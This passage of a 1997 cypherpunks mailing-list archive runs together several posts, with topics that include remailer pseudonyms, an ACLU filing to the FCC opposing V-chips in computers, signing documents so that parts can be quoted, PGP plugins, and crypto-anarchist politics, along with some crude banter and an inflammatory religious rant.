anonymous mail to be asinine.

Best I can tell, the only reasonable good purpose for this is to create a
persistent nym identity without a reply to capability.  Well, remailer
software cannot support everything I suppose. (Even if Cracker may
apparently support this)

I would think the best way to put in a persistent nym capability would be
to database the PGP key id's along with the persistent identity.  Then the
remailer could produce lines like

	From: "Monty Cantsin" <anon@anon.efga.org>

Persistent identities would be created by sending a signed PGP message that
includes both the PGP public key and the persistent identity.  Since the
identity server would not database email addresses, only PGP key id's, and
only work for signed messages, there should be no problem with people
worrying about the remailer being compromised.  This also keeps someone
from stealing another's reputation capital.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 1 Dec 1997 14:30:40 +0800
To: alan@clueserver.org (Alan Olsen)
Subject: Re: If you fought to defend your country...
In-Reply-To: <199712010530.VAA04238@www.ctrl-alt-del.com>
Message-ID: <199712010617.AAA00899@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Alan Olsen wrote:
> At 04:15 AM 12/1/97 +0100, Lucky Green wrote:
> >On Sun, 30 Nov 1997, Jonathan Wienke wrote:
> >> Yeah, but 18 inches gives a much tighter shot pattern...
> >Not by much. [I prefer the 14'' HK "Entry" model].
> 
> I always have prefered the 1 oz copper slugs.  Shot dispersal is tighter if
> you have only one shot.

does any one of you have a .50 BMG.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 1 Dec 1997 09:01:14 +0800
To: Jonathan Wienke <cypherpunks@cyberpass.net>
Subject: Re: If you fought to defend your country...
In-Reply-To: <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>
Message-ID: <19971201.004742.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971130:1554, in <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>, 
    Jonathan Wienke <JonWienk@ix.netcom.com> was purported to have 
    expostulated to perpetuate an opinion:

>At 09:03 AM 11/30/97 +0000, attila wrote:
>>    To be a ruler of men, you need at least 12 inches....

>Yeah, but 18 inches gives a much tighter shot pattern...

    uuuhhh.  12" is not the length of a riot gun barrel...
             it's your swinging length.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNIIKXLR8UA6T6u61AQE7twH/QQeNg+ZjZkZoGe/q/3X6OgZYTT/wbDul
PkgKA/dhWcJhyRoQoY5dOwXhLywnnVyGeQNQaAASZlXjQ1wJ7B3z8g==
=LxxW
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 1 Dec 1997 14:15:50 +0800
To: cypherpunks@toad.com
Subject: V Chips in PCs -- comments filed with the FCC
Message-ID: <v03007811b0a802c00e4d@[204.254.22.168]>
MIME-Version: 1.0
Content-Type: text/plain



A bunch of other groups filed comments last week, generally opposing a
requirement for Vchips in computers, but the ACLU's is the only one I have
in electronic form. An excerpt:

	Any FCC efforts to restrict content online, directly or
	indirectly, through a forced rating scheme would violate
	the First Amendment.  It would also have the effect of
	turning what the Supreme Court call the most
	participatory medium into a bland and homogenized medium
	that provides access to only self-rated or censored
	speech.

More info:
  http://cgi.pathfinder.com/netly/opinion/0,1042,1528,00.html

-Declan

================

Subject: Fwd: fcc comments v-chip
   Date: Tue, 25 Nov 1997 12:49:29 -0500 (EST)
  From:  PRIVACLU@aol.com
     To: declan@well.com


Before the
        FEDERAL COMMUNICATIONS COMMISSION
        Washington, DC
20554

________________________________
In the Matter of

          ET Docket No. 97-206
Technical Requirements to Enable Blocking of

Video Programming Based on Program
Ratings
_______________________________

        COMMENTS OF THE AMERICAN
CIVIL LIBERTIES UNION
Introduction
        The American Civil Liberties Union
(ACLU) is a nonpartisan organization
of more than 250,000 members nationwide
dedicated to defending the
principles of liberty and equality embodied in
the Bill of Rights. For
nearly a century, the ACLU has sought to preserve
and strengthen the
First Amendment as a bulwark against all forms of
governmental
censorship.
        The ACLU has previously submitted extensive
comments to the Federal
Communications Commission (FCC) in opposition to
government-prescribed
ratings systems for television programming that single
out sex,
violence, or other controversial subjects on television because
we
believe they infringe the fundamental principles of free expression.
 We
adhere to our prior views. We respectfully submit these comments on
the
different issues raised by the FCC's proposal for emerging
technology
and urge the Commission to refrain from entering into the
censorship
business.
        In particular, the ACLU urges the Commission not to
expand the
application of the proposed rules to include any and all
equipment
capable of displaying or receiving video programming, including
personal
computers and Digital Television (DTV), Multi-point
Distribution
Systems, Direct Broadcasting Systems (DBS) and other
emerging
technologies. The ACLU believes that Congress has not directed the
FCC
to mandate the inclusion of the V-Chip in these emerging technologies.

Furthermore, such an expansive reading of the Telecommunications Act
would
run afoul of the First Amendment protections accorded to speech
on
interactive media, such as the Internet, as a result of the
landmark
Supreme Court decision Reno v. ACLU. 117 S.Ct. 2329 (1997).
Finally, we
urge the FCC to abstain from prohibiting distribution services
from
deleting or modifying ratings information from television programming
as
a violation of the First Amendment.

I. THE FCC IS NOT REQUIRED TO
MANDATE INCLUSION OF BLOCKING TECHNOLOGY
IN PERSONAL COMPUTERS CAPABLE OF
RECEIVING VIDEO PROGRAMMING UNDER THE
1996 TELECOMMUNICATIONS
ACT.

        Section 551(c) of the Telecommunications Act of 1996 ("the Act"),
the
Parental Choice in Television Programming, directs the FCC to
"require
in the case of an apparatus designed to receive television signals
...
that have a picture screen 13 inches or greater in size
(measured
diagonally), that such apparatus be equipped with a feature
designed to
enable viewers to block display of all programs with a
common
rating...". Section 551 (e)(2) requires the Commission to consult
with
the television manufacturing industry to find an effective date
for
inclusion of the V-chip in televisions.  In contrast, with regard
to
technologies like the Internet, Congress directed the FCC in
section
552(d)(4)(A) of the Act to determine the availability of
alternative
blocking technology that enables parents to block programming
based on
identifying programs without ratings.
        Although the language of
the Act addresses the need for traditional
television manufacturers to
comply with the provision at issue, the
Commission's current Notice of
Proposed Rulemaking (NPRM) calls for
expansion of the Telecommunications Act
of 1996, to mandate inclusion of
blocking devices in all technology capable
of displaying broadcast video
programming, even in apparatus that is not
primarily designed for
television viewing.  Specifically, the NPRM includes
a requirement for
personal computer manufacturers to include V-chip
technology. Paragraph
22 of the NPRM, states in pertinent part:
"In
addition, personal computer systems, which are not traditionally
thought of
as television receivers, are already being sold with the
capability to view
television and other video programming. Section
551(c) of the
Telecommunications Act makes it clear that the program
blocking requirements
were intended to apply to any "apparatus designed
to receive signals" that
has a picture screen of 13 inches or larger.
Accordingly, we believe that
the program blocking requirements we are
proposing should apply to any
television receiver meeting the screen
size requirements, regardless of
whether it is designed to receive video
programming that is distributed only
through cable television systems,
MDS, DBS, or by some other distribution
system.  These requirements
would also apply to any computer that is sold
with TV receiver
capability and a monitor that has a viewable picture size
of 13 inches
or larger, as we currently do of closed captioning." (emphasis
added)

        The NPRM broadly states that the rules should apply to any
computer
"regardless of whether it is designed to receive video programming
that
is distributed only through cable television systems, [satellite], or
by
some other distribution system." Under the broadest interpretation
the
rules could be extended to cover any video programming viewed using
a
computer.  Despite this confusion, the FCC has not publicly
offered
clarification as to what types of personal computer technology
would
fall under the purview of the proposed rules.
        In addition, the
NPRM statement that Section 551 (c) of the Act
"makes it clear that program
blocking requirements were intended to
apply to any apparatus" capable of
receiving television signals, is
plainly contrary to the expressed view of
Congress  and a conclusion
with which the ACLU strongly disagrees.  Congress
instead suggested in
Section 551 (d) (4) et seq., that as new video
technology is developed,
the Commission determine the availability of less
restrictive and more
informative alternatives.  Thus, Congress did not
propose the mandatory
inclusion of V-chip technology, but directed the
Commission to determine
whether other features could be used to provide
greater user choice over
content.
        We believe that the rush to embrace the
V-chip for traditional
televisions has been more damaging to the development
of other user
friendly tools that do not require the state imposition of a
rating and
blocking system.  Previously submitted comments by the
television
manufacturing industry also make clear that the FCCs haste
in
establishing schedules for the inclusion of the V-chip in
televisions
may result in poorly adapted equipment that may quickly become
obsolete.
        The expansion of V-chip technology into the computer realm makes
even
less sense. Interactive media is subject to even more rapid change
than
television and that change increasingly allows for more user choice
and
control.

II. THE FCC MAY NOT REQUIRE COMPUTERS TO INCLUDE CENSORING
TECHNOLOGY IF
THEY ARE CAPABLE OF RECEIVING VIDEO PROGRAMMING VIA THE
INTERNET OR BY
OTHER MEANS:

        Currently, there are at least three ways to
view video programming on
personal computers.  The first model is where
video programming can be
viewed on "PC-TVs," computers that include built-in
television receivers
or have an added plug-in circuit board to provided
video reception
capability. Second, a personal computer user has her Web
browser
connected to an Internet Service Provider (ISP) with the
appropriate
enabling technology to permit a multimedia connection to the
Internet.
With this connection, a user who is on the Web can go to any
number of
sites to download or view video/audio objects. Until now, the slow
speed
of Internet dial-up connections has meant that it could take
several
minutes to view online video clips. However, with new high
speed
connections, large video files may be downloaded or viewable in a
matter
or seconds -- making it possible to view video programming online
in
real time, like television and radio. Webcasting offers access to a
much
greater number of speakers or content providers than
traditional
broadcasting.
        PC-TVs and webcasting have only recently
become available, with new
models and features being marketed forth daily.
Both offer a much
greater spectrum of data, including programming
information, than is
possible by traditional broadcasting and under the
current ratings
scheme.  The potential to offer greater information means
does not mean
the FCC should expand the reach of its content restriction
through the
V-chip.  Instead, these technologies could offer transmission of
program
reviews or other detailed information about individual
programs.
        The Commission may not mandate blocking technology for computers
with
Internet software that provides the ability to view real-time
video
programs online. Unlike television, the Internet provides
inexpensive,
user controlled access and not government regulated or licensed
access.
Video programming displayed online may include traditional
broadcast
programming, but also includes a variety of authors and producers
that
have never before had the ability to gain wide distribution.  Such
an
application of the proposed rules not only runs counter to
the
Telecommunications Act, but represents an assumption of authority by
the
government over content on the Internet that has already been
rejected
by the Supreme Court.
        In the landmark case Reno v. ACLU, the
Supreme Court overturned
provisions of the Federal Communication Decency Act
(CDA) and declared
that the Internet is entitled to the highest level of
free speech
protection. The Court explicitly analogized the Internet to
the
traditional print media, saying that unlike broadcast media, which
has
been traditionally considered a more intrusive means of speech that
is
available to a fewer number of speakers, the virtually unlimited
access
and potential for speech means that the government requires a
compelling
reason to restrict lawfully protected speech.
        As the lead
attorneys and plaintiffs in the case, the ACLU successfully
argued that the
provisions of the CDA that would have made it a crime to
communicate
anything "indecent" online  violated the First Amendment.
The Court
rejected the CDA because it was an overbroad means of
addressing the
government's asserted interest in protecting minors from
inappropriate
material -- the very same reason offered today by the
Commission and
Congress in enacting V-Chip regulations.
        Moreover, the Court explicitly
rejected the notion that the government
has the authority to regulate
constitutionally protected speech online.
The Court stated, "the growth of
the Internet has been and continues to
be phenomenal.  As a matter of
constitutional tradition, in the absence
of evidence to the contrary, we
presume that governmental regulation of
the content of speech is more likely
to interfere with the free exchange
of ideas than to encourage it. The
interest in encouraging freedom of
expression in a democratic society
outweighs any theoretical but
unproven benefit of censorship." Reno v. ACLU,
117 S.Ct. 2329, -- ,
(1997).
        Although the ACLU believes that the same
First Amendment values apply
to each media,  the Court has repeatedly stated
that any government
regulation of broadcast television is justifiable only
because of the
intrusiveness of television coupled with the scarcity of
the
broadcasting transmission spectrum.   As the high court stated in
Reno
v. ACLU, neither of those rationale applies to the Internet.
        Any FCC
efforts to restrict content online, directly or indirectly,
through a forced
rating scheme would violate the First Amendment.  It
would also have the
effect of turning what the Supreme Court call the
most participatory medium
into a bland and homogenized medium that
provides access to only self-rated
or censored speech.

IV. THE FCC MAY NOT PROHIBIT OPERATORS THAT
DISTRIBUTE VIDEO PROGRAMMING
FROM DELETING OR MODIFYING PROGRAM RATINGS
CARRIED ON LINE 21 OF VBI.

        The NPRM states that the FCC proposes to amend
its rules to ensure that
ratings information is not deleted or modified
before transmission by
distributors.  Put plain, this means that the FCC is
selecting which of
the "speakers" -- from the programs writers, to its
producers, network
and local stations has the power to set a rating and
requiring all the
other speakers to agree with the given rating.  But by
removing the
power for any of these parties to modify ratings, the
government also
removes any flexibility from its proposed scheme -- it is
deciding that
national broadcasters make that decision, for all of their
writers,
producers, directors, affiliates and stations.   There is no room
for
disagreement and there is no choice but for distributors to agree
with
the designation.  Ratings must, by definition be national.  Leaving
one
that might appropriate in Mississippi but that is not in New York.

        Furthermore, there are serious First Amendment problems with
compelling
all program distributors from carrying ratings that they
find
objectionable or that they disagree with are critical.
Government
required ratings are a form of "forced speech" and diminish
any
discretion of programming distributors in determining the relevance
or
appropriateness of the proposed program rating.   That is,
mandating
labels compels private individuals and companies to say things
about
their creative offerings that they have no wish to say and with
which
they may disagree.  The Supreme Court has made clear that such
compelled
speech is as much a violation of First Amendment rights as
enforced
silence.  See, e.g., Riley v. National Federation of the Blind, 487
U.S.
781, 797 (1988); Pacific Gas & Electric Co. v. Public Utilities
Comm'n,
475 U.S. 1 (1986); Wooley v. Maynard, 430 U.S. 705, 714
(1977).
        Ratings prescribed by the FCC pursuant to the Act can hardly
be
defended as an innocuous effort to empower parents by supplying
them
with neutral information.  A truly non-coercive effort to
inform
parents, rather than censor what the government believes to
be
"negative" or dangerous ideas, would not rely on the minimal,
inevitably
misleading information conveyed by a letter or code that can be
read by
a computer chip. Parents are better served by fuller
information
(descriptions or reviews) that explains the context in which
violent or
sexual material is presented, and that enables them to make
viewing
decisions based on their own values and childrearing philosophies,
and
the personal maturity levels of their children.

Conclusion
        The ACLU
believes that the extension of the V-chip rules is unnecessary
and unwise
under the Telecommunications Act of 1996.  The ACLU believes
that the FCC
should not hastily embrace or extend plans to incorporate
V-chip technology
in emerging technologies. The FCC can and must
exercise its discretion and
consider alternatives such as media
literacy, promotion of educational
programming and episode reviews. We
believe that there are alternatives that
would not offend core First
Amendment values and accomplish the same
purpose.  In the final
analysis, violence and sex are dramatic, consistent
themes in human life
and history, and like other controversial subjects,
need to be
confronted and discussed rather than suppressed, whether through
direct
censorship laws or through more indirect, convoluted
governmental
ratings and information blocking systems.

Respectfully
submitted,

_______________________________________
Barry Steinhardt
ACLU
Associate Director

____________________________________
A. Cassidy
Sehgal
William J. Brennan Fellow of the ACLU







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Chief SpokesPerson <ccs@dev.null>
Date: Mon, 1 Dec 1997 15:24:59 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: "Faulty Filters" report; anti-rating free speech alliance
In-Reply-To: <v03007806b0a7f42e9fab@[204.254.22.168]>
Message-ID: <34826267.3767@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> EPIC today released a report that finds that "family-friendly" search
> engines typically block access to 99 percent of the material on the
> Internet that would be appropriate for young people. 

 This is no more of a surprise than the results of studies which show
that inbreeding among those in cloistered geographical areas severely
limits the genetic diversity of the enclosed population.

  "Family-friendly" inevitably boils down to being a dishonestly used
simile for "ignorant christian-values."
  Despite the fact that 'family-unfriendly Jesus' spoke of his aim of
setting family members against one another, the followers of his 
mainstream religious cult are determined to institute their own
religious values in the legal system, by working toward forcing their
own religously-oriented filtering system on all citizens.

  Tell me, please, who among the organizations claiming to work for
freedom of speech are ready to demand that the words of Jesus be
subject to the same filtering as those of Aleister Crowley?
  Who is going to demand that the works such as the Bible be subject
to the same filtering values as the works of Lenny Bruce?

> The text of the "Faulty Filters" Report is available at:
> 
>      http://www2.epic.org/reports/filter_report.html
>      http://www.ifea.net
 
  The filters are not "faulty." They do exactly what they are meant
to do--imprison the minds and life-experience of those who are forced
to use them.
  Those promoting volumandatory content ratings want to imprison 
everyone, not just their own children. I't the same old lying
religious fascists up to their same old oppression of those
who breed outside their own genetic family.
  Fuck 'em.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 1 Dec 1997 14:25:13 +0800
To: Cypherpunks@Algebra.COM
Subject: Re: If you fought to defend your country...
In-Reply-To: <89D1ge20w165w@bwalk.dm.com>
Message-ID: <199712010717.BAA00499@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



Vulis said:
> Only 2 inches are required to reach the prostate.  Anything over that
> is just windows dressing.

	Sounds like the voice of experience to me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 1 Dec 1997 08:35:21 +0800
To: cypherpunks@Algebra.COM
Subject: launch memes
Message-ID: <199712010026.BAA29670@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




-------

Cypherpunks reject politics.  They know that it is unnecessary,
counter-productive, and wrong.

Terrorism and violent confrontation are the ultimate form of
politics.

-------

Cypherpunks don't fixate on their enemies, real or imagined.
Reactionary Christians do.  Reactionary Muslims do.  Wacko
leftists do.  Wacko rightists do.  In fact, probably every
penny-ante cult and fringe political movement does.  Perhaps
it makes it easier to avoid doubt by thinking and feeling
about your enemies (real or imagined) in order to keep from
thinking about your self.

But cypherpunks don't fixate on their enemies.  They have more
important things to worry about.

-------

Cypherpunks think strategically.  Cypherpunks act strategically.

-------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 09:00:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Death Penalty Expanded
Message-ID: <199712010056.BAA26873@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
>On a completely unrelated note, is there some interest in starting up
>a "Cypherpunks Nuclear Physics Study Group"? I recently finished
>reading "The Curve of Binding Energy". Fascinating book.

How dare you inquire into the nature of physical reality!  Officer,
please arrest that man.  ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Death Penalty Expanded
To: cypherpunks@algebra.com
16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol No. 1]
AF823675BFB992A1CD9CD2EEBC5CDAE4041E6F06
F45932C19F0C526DBE7297FF5D74417561086272
-203 203
61EFE7321F010D1FB0E40F084C2AAE3CAF33F43413B0B8EBAABFDB17B7AC7428C4B83E1127F6C8AD0D9ED2FF09005F97BE79F1B13BB000DAA1FC9F08CA01312396316DC659D7FC8776120EA201FC38D4A164029F82CD70781AA8C37CFE4A2031E1973660E3B4ED9B2306E3BD23FEF523AEE52B26D857C93A64106A47DD482488806CDF0C301533F4B26BACDEFF626A35C8B168288586B97DA505DC35B1FE3693750EE0E22FC321B5968687E7F267145AC8225805636A5AF13E5B1112A7453487F912C34977F4C273D2CD3D24FB0522ADCDCDB354AC3918A8C3FD9B11A3C9F403585ADA07EBDAD06668BD90445788E135219F9AA4BA4294FF7189D089E4426398
3A340484BE030BAABFCC34DC1F45E57DCFBE8F031586A9E376E5D1080FCFA0AACDE50B860762D415EE877FDF9ACE10AAB465322FC00BA46F55099B0EBCACB2BEFF07D26B74903B08ACB2D9F0339AE6FAC0C35B42D4DA8E1E94FE15669FC3511545E51A3313EAB01C0FC3902C6DBFAE0E6D706603AD43207F54BF57E05E7DA4F16A68D3FB186540F9E793BD4A69938521F95F3CFDBB8BD88A75B8CC9FCB05F3F2AD2CCCC438E9AA662D3DE38BD7B46375D771167CCB9AA6F96D5280FB3A3517CFCE10FCA44C73E11E9665A2176C4502E175ACB131470863444E03F0EB83A3501C7D4597902F88CE67E00E3357AC529325A59FA0189C1D2154BF0B8E99651A3B8E






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 09:38:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
Message-ID: <199712010131.CAA03134@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to everybody for their interesting contributions to the partial
signature problem.

Anonymous <anon@anon.efga.org> writes:
>A more general approach calculates the document hash in a line
>oriented way.  Normally we start at the top and work down through the
>document to get the hash, which is signed.  Instead, we would
>calculate a hash for each line of the document separately, and then
>combine them using a tree.

This approach looks like the best to me.  It's a bit cumbersome for
the person doing the quoting, but that's as it should be.

Brian B. Riley writes:
>  I haven't been follwing this thread that closely, but skimming mch
>of it and then rereading this whole post, I must concur that the
>context issue renders much of the discussion moot unless you can not
>only relate individual sub-blocks to the whole message it came from
>in the proper order ... it seems to me we are right back where we
>started, quoting referenced message(s) in entirety.
>
>  It occurrs to me that if an issue is important enough that the
>veracity and autheticity of a given passage is that critical,
>including entire messages is of trivial concern. Now it could be
>handled by the discussion participant quoting out of context and
>'footnoting' his quote with a message ID. The message corresponding
>to that ID has its entire text is signed and publicly stored and
>accessible. If it needs to be checked then go check it, if not take
>it on faith and read on.

It's easy to see why we would want other people to sign with
signatures which enable partial quoting, but it's less clear why we
would sign our own messages this way.

For instance, somebody might want to quote my private e-mail out of
context where I say "Yes, I'm real glad I got rid of that guy.  He was
really a pest."  But they might not want to quote the part of the
message where I say "Thanks for the latest shipment of plastic
explosives."  In order to authenticate their claim they have to reveal
the entire message.  If they must quote the entire message for
authentication, it will discourage tacky behavior such as relaying
private messages.

So, this is sort of a solution looking for an application.  It seems
like an interesting problem and I have a strong intuitive sense that a
use for it will present itself at some point.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Quoting Portions of a Signed Document
To: cypherpunks@algebra.com
16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol No. 1]
AF823675BFB992A1CD9CD2EEBC5CDAE4041E6F06
98C5FC8D9791145578E4A26E9EE86E1419E6194F
-9DD 9DD
AF2CABB26AC13B80E2478807996B75B45CD6F1B118C66160DF4131C51A1FCB49D0FA8DE189CDF59F179E45698693471D06BC4A906D66B775FC31B5881F67BBA318F6A96703E585CCD77C0F9D556736E22BB1CAE4ED7F81C2051C0FCA6BDECC7503206EFAEFE88198E4E48D9A0D8EA56A2F3082DE8BB7371DC98AAC103DE179E56CF3DE953EF15FC35FE1D1B8336A58DC6A8E7839281CB13F49AB2D2257ED53B9053E99D951C6B624816D8A7945F8B37CD7F90AB545CB6F0D71E76337252C9483391AEADCE4E3EB526B36DCE57C8CABFBEC6093E323699FA537CD34BCEF99B023A058BE2E113CBD4317700760F2359D80306280A7D0AAD7850A3E6036A36DEBA
81D5102677C9FB0520BA053862F6EBA5F98E772A2F28EB371AE66F576FC4AA3DF94FADBD83BEE10F638002FD89A8F8E70F1D47EC4441BC1DE02244BE97B9DEB14FDB443DCF8EE4BF6586E006F01E4F0231D588918E5177027514F234EA9DE069AF832768C340B7851E7FE21BFB43132E38FDE9DF2EA5D77B3A115181AC1BBD8BEF8E3C54F17A3D098E749301D5C42A9868F586F6918002AE9BAC805DF28453381BE80C6418F18E09CC7E6C94DA7A5A1590EDD83047E259AA1F23B1384221D1A7E83FD0C18BE2A03E19A61D723401044F333D1423D638D6792473BA14A2762E3AFC7ADDACA9ED457DF0A81A223A394BE704E7DEED3D57567D91FD152F897BCAF9






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 1 Dec 1997 10:07:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freemen and Serfs
Message-ID: <199712010155.CAA05612@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



This model of "sheeple" doomed to slavery while cypherpunks comfortably
live independent of the state is even less plausible than the original
idea of crypto anarchy.  It appeals to our elitist instincts and makes
us feel comfortably superior, but it has little connection to reality.

This idea overlooks the "fax effect", where the value of a technology
rises in proportion to the number of people who use it.  Cypherpunks will
have to set up a virtual Galt's Gulch, trading only with themselves,
and unlike in Rand's fantasy the limitations of such an economy will
soon be apparent.  Early cypherpunk experiments like "Magic Money"
showed how pointless a virtual cypherpunk bank would be.

Cypherpunk technologies create a protected boundary within which
transactions can be conducted free of third party surveillance and
tampering.  Only by extending this secure boundary to include the
masses will there be enough value generated within the secure region
to be worthwhile.  Cypherpunks who can only trade and work for each
other will not be able to generate sufficient economic growth to survive.

In an increasingly interdependent world economy, the only hope
for cypherpunk technologies to succeed is to extend them as far as
possible throughout society.  This includes reaching out to foreigners
and minorities, to the dismay of some cypherpunks.  We must oppose the
elitism and racism which some list members cling to, replacing it with
inclusion and openness to members of other cultures.  Making fun of
foreign accents and calling for the deaths of innocents does not move
us toward our goals.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 16:08:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP / Outlook Express Plugin Problem
Message-ID: <710eabcd66f483175a2ce24987449a11@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Rip van Seaberg writes:

> Anyone care to speculate irresponsibly about what PGP is up to, what
> with dropping the 2.6 command line in favor of a handful of plugins?
> Did they get paid to integrate PGP support in Eudora and Communicator
> and make integration unavailable to competing tools?  Are they hoping to
> sell piles of US$12k+ SDKs?  Is there any other plausible reason they
> would want to break every tool and script that shells to PGP?

Since the introduction of PGP in 1991 there have been changes in the way
people use computers.  Instead of typing clumsy command lines like "pgp
-s -a -e -t -f" to perform operations, computer users today use a "mouse",
a small device about the size of a pack of cards which is connected to
the computer by a long "tail" (hence the name).

By moving the mouse they are able to move an indicator on the screen
called a "cursor".  They point the cursor at "icons", small pictures
which represent the operations they want to perform.  Clicking buttons
on the mouse allows them to manipulate data in a much more intuitive way.

Old command line programs were accessible only to a small fraction of
potential computer users.  The new mouse based graphical computers open
the world of computing to a much wider base of users.  PGP plugins
allows mail to be encrypted or decrypted with a single click of a mouse
button.  This is a far cry from the clumsy command lines of the past.

Tune in next week to find out how your trusty floppy disks may soon be
replaced by Compact Disk Read Only Memory devices.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 1 Dec 1997 11:53:06 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: John Brown
In-Reply-To: <v03102800b08ffa004f2a@[207.167.93.63]>
Message-ID: <19971201.032213.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    As to Monty and the 3 name criminals association alleged below:
    
        Attila The Hun
        Hun, Attila
    
    looks like two names to me, the "T." being nothing more than
    a conjunction, just like Tess d'Uberville means Tess of 
    Uberville.
    
    Incidently, John Brown was the older brother of my
    great-great-grandmother.  
    
    I grew up almost across the street from the Brown
    farm/homestead in Hudson OH; his father, Owen Brown, was a
    regent at Western Reserve University, which was in Hudson at
    that time, and a director of Oberlin College.  The village
    has an Owen Brown St, but no John Brown St.  However, the
    homestead in Hudson, and the half dozen places in the area
    he lived at various times are all listed historical
    monuments.
    
    In the 50s at Western Reserve Academy in Hudson, we were
    taught the version of events presented by anonymous.
    
    interesting that our legal system permits the about to be
    condemned the right to speak his mind before the judge; in a
    clear case where failure would have more impact than
    success, failure prevailed and the intent was consummated
    with the "martyrdom" of John Brown.
    
    the real rewriting of history began in the mid-60s.
    professors, who write books, live on grants which are passed
    out by two groups:  business and government.  books tend to
    support the views of the grantees, and their view of how
    history should be written, rewritten, denied, or "directed."

on or about 971112:1731, in
<v03102800b08ffa004f2a@[207.167.93.63]>, 
    Tim May <tcmay@got.net> was purported to have 
    expostulated to perpetuate an opinion:

>At 5:54 PM -0700 11/12/97, Anonymous wrote:

>>lived,' Henry David Thoreau observed in a eulogy in Boston.  `These
>...
>>throughout the North.  Louisa May Alcott, William Dean Howells, Herman
>>Melville, John Greenleaf Whittier, and Walt Whitman were among the
>...
>>congregations sang Julia Ward Howe's new words to the song: `As He
>...
>>Carolina, while William Lloyd Garrison surveyed the cheering


>More examples of "three name criminals," eh Monty?

>And John Brown, the one they hanged, only had two names....


>(Not an important issue, but this meme that "most persons with three names
>reported are criminals" is simply false.)

>--Tim May

>The Feds have shown their hand: they want a ban on domestic cryptography

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNIIx17R8UA6T6u61AQFcrQIAlA/4G2cb+YX4VJ5ZmC0/DmLf1okrKFDs
BilNTL4Wq0vFJlBX8I/aVc00KS9hbKb4q8QsfszRuCAlCKCFUJcC0Q==
=gXir
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 1 Dec 1997 18:17:45 +0800
To: cypherpunks@toad.com
Subject: If it saves the life of one non-Iraqian child...
Message-ID: <34828BE2.5432@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Ya gotta love that Saddam, eh?
Allowing the press to do a photoshoot of all those children who don't
seem to be the child everyone is desparately trying to save by taking
away our basic human rights and freedoms...

I loved watching the western newswoman on TV yesterday, trying to 
explain to the local citizens how the US embargo that was resulting
in the deaths of their children was all Saddam's fault. (Although I
must have missed the part where she explained Saddam's authority to
set US foreign policy.)
I think we should immediately drop-ship a few thousand baby T-shirts
to Iraq that have "I am not _the_ child!" stenciled on them, so that
Americans watching at home don't mistake the starving Iraqian children
for the one that we are saving by allowing our government to monitor
and oppress us.

  Next time you pay your taxes, try to remember that you are just 
following orders...Saddam is evil...those are not _the_ child...you
are only doing what is required by law...Saddam is responsible...you
are just obeying the law...you are just following orders...you don't
put them in the ovens, you just pay for the ovens...you don't turn on
the gas, you just pay for the gas...you are just following orders...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 1 Dec 1997 11:19:18 +0800
